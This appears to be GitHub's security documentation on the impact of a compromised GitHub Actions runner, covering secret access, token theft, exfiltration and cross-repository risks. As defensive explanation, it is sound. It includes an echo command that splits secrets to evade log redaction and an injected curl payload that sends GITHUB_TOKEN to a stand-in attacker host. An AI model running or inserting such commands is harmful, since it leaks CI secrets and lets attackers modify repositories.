Compromised runners

Understand the security risks associated with compromised GitHub Actions runners.

Potential impact of a compromised runner

These sections consider some of the steps an attacker can take if they're able to run malicious commands on a GitHub Actions runner.

Note

GitHub-hosted runners do not scan for malicious code downloaded by a user during their job, such as a compromised third party library.

Accessing secrets

Workflows triggered from a forked repository using the pull_request event have read-only permissions and have no access to secrets. However, these permissions differ for various event triggers such as issue_comment, issues, push and pull_request from a branch within the repository, where the attacker could attempt to steal repository secrets or use the write permission of the job's GITHUB_TOKEN.

Although GitHub Actions scrubs secrets from memory that are not referenced in the workflow (or an included action), the GITHUB_TOKEN and any referenced secrets can be harvested by a determined attacker.

Exfiltrating data from a runner

An attacker can exfiltrate any stolen secrets or other data from the runner. To help prevent accidental secret disclosure, GitHub Actions automatically redact secrets printed to the log, but this is not a true security boundary because secrets can be intentionally sent to the log. For example, obfuscated secrets can be exfiltrated using echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200};. In addition, since the attacker may run arbitrary commands, they could use HTTP requests to send secrets or other repository data to an external server.

Stealing the job's GITHUB_TOKEN

It is possible for an attacker to steal a job's GITHUB_TOKEN. The GitHub Actions runner automatically receives a generated GITHUB_TOKEN with permissions that are limited to just the repository that contains the workflow, and the token expires after the job has completed. Once expired, the token is no longer useful to an attacker. To work around this limitation, they can automate the attack and perform it in fractions of a second by calling an attacker-controlled server with the token, for example: a"; set +e; curl http://example.com?token=$GITHUB_TOKEN;#.

Modifying the contents of a repository

The attacker server can use the GitHub API to modify repository content, including releases, if the assigned permissions of GITHUB_TOKEN are not restricted.

Cross-repository access

GitHub Actions is intentionally scoped for a single repository at a time. The GITHUB_TOKEN grants the same level of access as a write-access user, because any write-access user can access this token by creating or modifying a workflow file, elevating the permissions of the GITHUB_TOKEN if necessary. Users have specific permissions for each repository, so allowing the GITHUB_TOKEN for one repository to grant access to another would impact the GitHub permission model if not implemented carefully. Similarly, caution must be taken when adding GitHub authentication tokens to a workflow, because this can also affect the GitHub permission model by inadvertently granting broad access to collaborators.

If your organization is owned by an enterprise account, then you can share and reuse GitHub Actions by storing them in internal repositories. For more information, see Sharing actions and workflows with your enterprise.

You can perform other privileged, cross-repository interactions by referencing a GitHub authentication token or SSH key as a secret within the workflow. Because many authentication token types do not allow for granular access to specific resources, there is significant risk in using the wrong token type, as it can grant much broader access than intended.

This list describes the recommended approaches for accessing repository data within a workflow, in descending order of preference:

  1. The GITHUB_TOKEN
  2. Repository deploy key
  3. GitHub App tokens
  4. personal access tokens
  5. SSH keys on a personal account

Next steps

For security best practices with GitHub Actions, see Secure use reference.